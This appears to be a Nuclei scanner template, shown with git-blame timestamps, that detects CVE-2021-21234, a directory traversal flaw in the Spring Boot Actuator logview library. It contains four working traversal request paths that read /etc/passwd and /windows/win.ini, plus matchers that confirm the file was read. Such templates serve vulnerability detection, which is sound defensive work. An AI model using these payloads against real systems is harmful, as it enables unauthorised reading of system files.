2021-06-24 05:36:45 +00:00
id : CVE-2021-21234
info :
2022-04-07 13:53:15 +00:00
name : Spring Boot Actuator Logview Directory Traversal
2021-08-24 07:47:25 +00:00
author : gy741,pikpikcu
2021-06-24 05:36:45 +00:00
severity : high
2022-04-07 13:53:15 +00:00
description : |
spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview".
2021-08-24 09:49:47 +00:00
reference :
2021-08-24 07:47:25 +00:00
- https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
- https://github.com/cristianeph/vulnerability-actuator-log-viewer
2021-08-24 08:46:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-21234
2022-05-17 09:18:12 +00:00
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772
2023-07-11 19:49:27 +00:00
- https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.7
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-21234
cwe-id : CWE-22
2023-08-31 11:46:18 +00:00
epss-score : 0.97064
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:*
2023-08-31 11:46:18 +00:00
epss-percentile : 0.99653
2023-04-28 08:11:21 +00:00
metadata :
max-request : 4
2023-07-11 19:49:27 +00:00
vendor : spring-boot-actuator-logview_project
product : spring-boot-actuator-logview
tags : cve,cve2021,springboot,lfi,actuator
2021-06-24 05:36:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-06-24 05:36:45 +00:00
- method : GET
path :
2023-07-11 19:49:27 +00:00
- "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../"
- "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../"
2021-06-24 05:36:45 +00:00
2022-03-17 09:29:53 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-08-24 08:46:14 +00:00
matchers-condition : or
2021-06-24 05:36:45 +00:00
matchers :
2022-03-17 09:29:53 +00:00
- type : dsl
dsl :
2022-03-22 08:01:31 +00:00
- "regex('root:.*:0:0:', body)"
2022-03-17 09:29:53 +00:00
- "status_code == 200"
2021-08-24 08:46:14 +00:00
condition : and
2022-03-17 09:29:53 +00:00
- type : dsl
dsl :
- "contains(body, 'bit app support')"
- "contains(body, 'fonts')"
- "contains(body, 'extensions')"
- "status_code == 200"
2022-04-07 13:53:15 +00:00
condition : and